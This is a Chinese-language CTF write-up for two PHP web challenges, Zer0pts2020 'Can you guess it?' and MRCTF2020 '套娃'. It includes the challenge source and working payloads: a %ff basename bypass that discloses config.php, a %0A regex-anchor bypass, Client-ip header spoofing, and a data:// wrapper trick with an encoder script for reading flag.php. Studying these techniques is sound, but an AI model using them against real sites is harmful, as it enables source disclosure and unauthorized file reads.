[Zer0pts2020]Can you guess it?
思路
有源码
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
解题
hash相同不太现实,因此我们的目标是绕过正则的同时让basename为config.php
绕过正则只要除去传参后末尾不是config.php加上0~unlimited次/就行
可以用空白字符%ff绕过(接近255的几个字符都是空白字符)basename会忽视空白字符,如:
var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php
新版本应该解决了这个问题,反正我试不出来
payload:
/index.php/config.php/%ff?source
注意
$_SERVER['PHP_SELF']返回执行的脚本(自身)完整路径
basename的性质,bug:PHP :: Bug #62119 :: basename broken with non-ASCII-chars
[MRCTF2020]套娃
思路
看源码解题就行
解题
1st
<!--
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->
$_SERVER['QUERY_STRING']这个全局变量是取询问值,把它和其他几个放一起说明吧
| http://www.xxx.com… | / | /?p=222 | /index.php?p=222&q=u |
$_SERVER['QUERY_STRING'] | '' | 'p=222' | p=222&q=u |
$_SERVER["REQUEST_URI"] | / | /?p=222 | /index.php?p=222&q=u |
$_SERVER["SCRIPT_NAME"] | /index.php | /index.php | /index.php |
$_SERVER["PHP_SELF"] | /index.php | /index.php | /index.php |
url传参时,空格可以代替_
preg首尾匹配的绕过,之前遇到过,末尾加%0A就行
payload:
/?b u p t=23333%0A
2nd

看源码有个巨长的表达式,之前在b站的js大师课刷到过,一眼js
那就丢控制台看看

应该是127.0.0.1下POST一个Merak就行
这里有个坑,直接用hackbar传参就行
但如果是Burp抓包传参,必须加上Content-Type: application/x-www-form-urlencoded
(似曾相识?
3rd
有源码
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
先伪造IP:Client-ip:127.0.0.1
没有那样的文件可以使用data伪协议:data://text/plain;base64,xxxx(base64编码后的数据)或者data://text/plain,xxx(数据
file就简单了,函数反写就行,这里贴出代码
import base64
s = 'flag.php'
a = ''
for i in range(len(s)):
a += chr(ord(s[i]) - i * 2)
print(base64.b64encode(a.encode('utf-8')))
# header: Client-ip:127.0.0.1
/secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=
注意
知识点有点多,要去消化
- url传参时,空格可以代替
_ - 正则首尾匹配的绕过
- POST传参要
Content-Type Client-ip是什么- data伪协议